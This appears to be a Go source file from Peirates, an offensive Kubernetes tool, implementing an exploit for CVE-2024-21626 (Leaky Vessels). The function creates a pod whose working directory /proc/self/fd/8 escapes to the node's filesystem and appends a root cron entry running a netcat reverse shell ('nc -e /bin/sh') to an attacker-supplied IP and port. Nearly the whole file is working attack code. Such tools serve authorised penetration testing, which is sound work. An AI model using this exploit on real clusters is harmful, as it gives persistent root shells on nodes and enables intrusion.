package peirates

import (
	"errors"
	"fmt"
	"io"
	"os"
)

// createLeakyVesselPod() creates a pod to exploit CVE-2024-21626
func createLeakyVesselPod(connectionString ServerInfo) error {

	if !kubectlAuthCanI(connectionString, "create", "pods") {
		println("[-] Permission Denied: your service account isn't allowed to create pods")
		return errors.New("Service account not allow to create pods")
	}

	// Explain what to expect.
	println(`
Provided you are permitted to create pods, Peirates can create a pod that
exploits CVE-2024-21626. This vulnerability (Leaky Vessels) allows you access
to the node's filesystem.

In the current Peirates version, this allows you to add a line to the 
node's /etc/crontab file to run a netcat reverse shell. Future versions will
allow other options.
`)

	// Before presenting all IP addresses, give the user the IP address for eth0 if available.
	eth0IP, err := GetMyIPAddress("eth0")
	if err != nil {
		fmt.Println("IP address for eth0 is ", eth0IP)
	}

	println("Your IP addresses: ")
	GetMyIPAddressesNative()

	println("What IP and Port will your netcat listener be listening on?")
	var ip, port string
	println("IP:")
	_, err = fmt.Scanln(&ip)
	println("Port:")
	_, err = fmt.Scanln(&port)

	// Create a manifest file in the /tmp directory
	manifestTmpFile, err := os.CreateTemp("/tmp", "manifest-cve-2024-21626-*.yaml")
	if err != nil {
		fmt.Println("Failed to create manifest file:", err)
		return fmt.Errorf("Failed to create manifest file: %w", err)
	}
	manifestTmpFilePath := manifestTmpFile.Name()
	fmt.Println("DEBUG: created manifest file:", manifestTmpFilePath)

	// close and delete the manifest file when we're done.
	defer func() {
		manifestTmpFile.Close()
		os.Remove(manifestTmpFilePath)
	}()

	// Create a pod manifest in a string.
	randString := randSeq(6)
	podName := "cve-2024-21626-" + randString
	command := fmt.Sprintf("echo \"* * * * * root nc -e /bin/sh %s %s\" >> ../../../../etc/crontab", ip, port)
	workingDir := "/proc/self/fd/8"
	image := "alpine:latest"
	manifestContents := fmt.Sprintf(`---
apiVersion: v1
kind: Pod
metadata:
    name: %s
spec:
    containers:
    - command:
        - /bin/sh
        - -c
        - %s
      image: %s
      name: %s
      workingDir: %s
    restartPolicy: Never
...`, podName, command, image, podName, workingDir)

	// Write the manifest file
	_, err = io.WriteString(manifestTmpFile, manifestContents)
	if err != nil {
		fmt.Println("Failed to write to manifest file:", err)
		return fmt.Errorf("Failed to write to manifest file: %w", err)
	}
	manifestTmpFile.Close()

	// Create the pod
	_, _, err = runKubectlSimple(connectionString, "create", "-f", manifestTmpFilePath)
	if err != nil {
		fmt.Printf("[-] Error while creating hostile pod: %s\n", err.Error())
		return fmt.Errorf("Error while creating hostile pod: %w", err)
	}

	fmt.Printf("Pod %s created - if this works, it will write a netcat reverse shell into its node's /etc/crontab to run every minute.\n\n", podName)

	return nil
}
